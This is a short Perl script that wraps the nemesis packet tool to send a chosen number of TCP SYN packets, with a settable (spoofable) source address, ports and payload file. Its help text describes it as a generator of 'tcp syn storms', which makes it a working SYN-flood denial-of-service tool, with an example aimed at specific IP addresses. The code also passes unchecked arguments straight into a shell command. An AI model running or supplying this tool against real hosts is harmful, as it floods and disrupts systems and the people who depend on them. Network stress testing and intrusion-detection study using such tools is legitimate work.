#!/usr/bin/perl

use Getopt::Std;
%options=();
getopts("a:b:c:d:f:e:h",\%options);
# like the shell getopt, "d:" means d takes an argument
# print "-o $options{o}\n" if defined $options{o};

 
if ( defined $options{h}) {
	&usage();
}

  
main_routine();


sub main_routine() {

$source_ip 	= $options{c};
$source_port 	= $options{b};
$dest_ip 	= $options{a};
$dest_port 	= $options{d};
$payload_file 	= $options{f};
$packet_count	= $options{e};

# generate the amounts of packets given by $paket_count

	for ($i=0;$i<=$packet_count;$i++) {
		
		# now create the packet and send it
		system("nemesis tcp -S $source_ip -x $source_port -D $dest_ip -y $dest_port -fS -I 4 -T 250 -P $payload_file");
	}

} # main_routine();


sub usage() {

    print STDERR << "EOF";

    This program creates and sends tcp syn storms

    usage: $0 [-habcd] [-f file]

     -h	        : this (help) message
     -c		: source ip address
     -b		: source port
     -a		: destination ip address
     -d		: destination port
     -f file    : file containing tcp payload of the packet
     -e count	: count paketes are generated and send

  example: $0 -a 141.55.123.24 -b 22 -c 151.23.45.67 -d 22 -f payload.txt

EOF
        exit;
}
